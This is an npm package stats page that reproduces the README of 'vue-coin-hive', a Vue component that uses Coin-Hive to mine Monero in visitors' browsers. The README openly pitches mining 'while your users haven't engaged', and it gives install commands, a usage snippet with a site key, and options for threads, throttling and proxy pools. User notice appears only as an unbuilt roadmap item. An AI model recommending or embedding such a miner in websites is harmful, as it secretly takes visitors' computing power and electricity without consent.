npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

vue-coin-hive

v0.0.8

Published

Coin hive Vue component

Readme

Vue Coin Hive

Mine cryptocurrency while your users haven’t engaged with your content lately. Inspired by the last paragraph of this article. This uses Coin-Hive to mine Monero (XMR).

Installation

Using yarn

yarn add vue-coin-hive

Using npm

npm i --save vue-coin-hive

Usage

<vue-coin-hive
  v-bind:siteKey='SF4YQtgkNYmwR21W8NzKwixVdHB8wlDf'
  v-on:found='this.found'
 ></vue-coin-hive>

API

| Name | Type | Default | Description | |------------------------|---------|------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | start | Boolean | true | Starts the miner | | startMode | String | IF_EXCLUSIVE_TAB | Connect to the pool and start mining. The optional mode parameter specifies how the miner should behave if a miner in another tab is already running. The default is CoinHive.IF_EXCLUSIVE_TAB. | | siteKey | String | | Your public Site-Key. See Settings » Sites. | | userName | String | null | A unique identifier for the user account on your website. This can be a userId, an email address, the user's nick name or (if you don't want to share your user names with our service) the md5 hash or otherwise obfuscated name of the user. Max length: 128 chars, case insensitive. | | threads | Number | 2 | The number of threads the miner should start with. The default is navigator.hardwareConcurrency, i.e. the number of CPU cores available on the user's computer. | | throttle | Number | 0 | The fraction of time that threads should be idle. See miner.setThrottle() for a detailed explanation. The default is 0. | | enableFound | Boolean | true | Enables miner on found event hook. You can bind an event found @:found='yourMethod' | | enableAccepted | Boolean | true | Enables miner on accepted event hook. You can bind an event accepted @:accepted='yourMethod' ``` | | enableUpdatesPerSecond | Boolean | true | Enables getHashesPerSecond event
| proxy | Array | null | Set proxies to different pool than coinhive (must be a stratum pool), and you need to set your proxy See how here. Enter as siteKey your monero address.

Public API

  • v-bind:found : returns payload received from miner.on('found')
  • v-bind:accepted : return payload received from miner.on('accepted)
  • v-bind:updatePerSecond : return payload received from getHashesPerSecond, getTotalHashes, getAcceptedHashes

Roadmap

  • Mining indicator for users

License

This project is licensed under MIT License

I have nothing to do with coinhive